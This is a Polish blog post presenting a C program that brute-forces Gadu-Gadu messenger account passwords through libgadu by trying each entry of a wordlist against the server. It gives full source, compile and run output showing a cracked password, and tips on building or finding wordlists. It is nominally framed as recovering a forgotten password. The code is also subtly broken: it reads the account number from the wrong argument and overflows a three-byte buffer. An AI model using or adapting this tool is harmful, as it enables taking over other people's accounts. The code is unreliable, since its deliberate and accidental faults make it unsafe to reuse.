Łamanie lokalnego hasła GG ogranicza się jedynie do kilku kliknięć myszką. Co prawda zabieg ten trudno nazwać „łamaniem”, gdyż hasło po prostu dekoduje się korzystając z ogólnodostępnego algorytmu szyfrowania GG. Hasło to często jest identyczne z tym na serwerze.
Człowiek nie ma pamięci doskonałej. Bywa, że to hasło po prostu wyleci nam z głowy i nie mamy możliwości jego przypomnienia, bo nie znamy hasła do e-maila. Łamanie hasła lokalnego także nie wchodzi w grę, jeśli jesteśmy po formacie. Jedynym rozwiązaniem pozostaje być własnoręczne odgadnięcie hasła, bądź skorzystanie z brutusa, takiego, który pragnę Wam zademonstrować.
Brutus to połączenie dwóch znanym nam już programów wysylanie.c oraz brut.c. Do jego prawidłowego działania potrzebujemy plik tekstowy z hasłami, rozdzielonymi znakami nowej linii, np.
asia
qwerty
123456
admin123
haslo123
[…]
Program będzie działać dopóki nie złamie hasła, bądź nie dojdzie do końca pliku z hasłami.
[codesyntax lang=”c”]
/* Program ma za zadanie testowac Numer na podane w pliku hasla Linia po linii. Program powstal dla tych, Ktorzy pamietaja swoj numer Do komunikatora, ale nie Pamietaja hasla ;-) Zdarza sie tak, ze Zapominamy hasla do e-maila I nie mozemy przypomniec Hasla z serwera :-) Autor: Komeniusz [Nie odpowiadam za uzycie tego programu!] Licencja: GNU - edukacyjna! Program testowano na: System: Ubuntu 9.10 Biblioteka: Libgadu 1.9.0-rc2 (wersja testowa) Download Libgadu: http://toxygen.net/libgadu/ Dokumentacja Libgadu: http://toxygen.net/libgadu/doc/ */ //Niezbędne biblioteki #include <unistd.h> //sleep #include <stdlib.h> //atoi #include <string.h> //memset #include "libgadu.h" //libgadu :-) int main(int argc, char **argv) { struct gg_session *sess; struct gg_event *e; struct gg_login_params p; /* Jesli chcemy wyswietlac informacje od serwera nalezy ustawic ta wartosc na 255 */ gg_debug_level = 0; /* Jesli podamy za malo parametrow wypluwamy info o bledzie i konczymy program */ if (argc < 3) { fprintf(stderr, "uzycie: %s <numer> <plik z haslami>n", argv[0]); return 1; } /* Deklarujemy zmienne potrzebne do zliczenia ilosci wierszy */ FILE *plik; int wiersz = 0; char znak; //Jesli nie ma pliku z haslami if((plik = fopen(argv[2], "r")) == NULL) { //Informujemy o bledzie i konczymy dzialanie programu printf("nie mogę otworzyć pliku n"); return 1; } //Dopoki nie dojedziemy do konca pliku while((znak = getc(plik)) != EOF) { if(znak == 'n') { //Zliczamy ilosc wierszy ++wiersz; } } /* Odczytujemy wiersz po wierszu z pliku i zapisujemy wartosc do zmiennej */ FILE *pFile; int i=0; char haslo[3]; pFile = fopen(argv[2], "r"); /* Jesli nie ma pliku z haslami Informujemy o bledzie i konczymy dzialanie programu */ if(pFile == NULL) { printf("Blad odczytu pliku"); return 1; } else { /* Jazda ;D */ for(i=0;i<=wiersz-1;i++) { fgets(haslo, 131072, pFile); //Zwalniamy pamiec memset(&p, 0, sizeof(p)); //Deklarujemy aktualnie testowany numer, ten sam co wczesniej p.uin = atoi(argv[2]); //Zmienna pomocnicza, aby obciac enter char x; //Zmienna pomocnicza = haslo z enterem x=strlen(haslo); //Haslo z enterem = haslo bez entera haslo[x-2]='�'; //Deklarujemy aktualnie testowane haslo p.password = haslo; /* Jesli haslo sie nie zgadza */ if (!(sess = gg_login(&p))) { /* Ponizsza linie mozna odkomentowac, jesli chcemy wyswietlac informacje o haslach, ktore nie przeszly testu */ printf("Bashed: -%s- n -------------------- n", haslo); /* Zwalnaimy pamiec */ gg_free_session(sess); } else { //Jesli zgadlismy haslo drukujemy je printf("Cracked: %s n -------------------- n", haslo); return 1; } /* Zwalniamy pamiec */ gg_logoff(sess); gg_free_session(sess); } } return 0; //zakonczenie programu }
[/codesyntax]
Przykład działania programu
komeniusz@cyber-jadro:~/libgadu/examples$ gcc -o brutusik brutusik.c -lgadu
komeniusz@cyber-jadro:~/libgadu/examples$ ./brutusik
uzycie: ./brutusik <numer> <plik z haslami>
komeniusz@cyber-jadro:~/libgadu/examples$ ./brutusik 123456 hasla.txt
Bashed: -A-
——————–
Bashed: -A117S5-
——————–
Bashed: -A14530-
——————–
Bashed: -A1lc1u-
——————–
Bashed: -A2005K-
——————–
Bashed: -A23-
——————–
Cracked: admin
——————–
komeniusz@cyber-jadro:~/libgadu/examples$
Jak widać program złamał hasło, a jest nim słowo „admin„.
UWAGA!
W programie zawarte jest zabezpieczenie anti script kiddie, aby ktoś, kto nie rozumie programu nie miał możliwości bezmyślnego SPIM’owania innych użytkowników.
Skąd wziąć plik z hasłami?
- Można stworzyć go samodzielnie wpisując najbardziej typowe hasła jak „qwerty„, „123456„, „haslo123„, „imie<numer>„. Hasłem często są zdrobnienia imion, więc jeśli łamiemy hasło koleżanki o imieniu Małgorzata (łamiemy jej hasło, gdyż go zapomniała i poprosiła nas o pomoc) hasłem może być „malgosia„.
- W sieci dostępne są gotowe pliki z hasłami, wystarczy poszukać.
Bibliotekę ze sleepem włączasz, ale nie używasz 🙂
Mhh… Bystrzak ;D
Sleep’a włączyłem podczas testów i najwidoczniej zapomniałem usunąć tą bibliotekę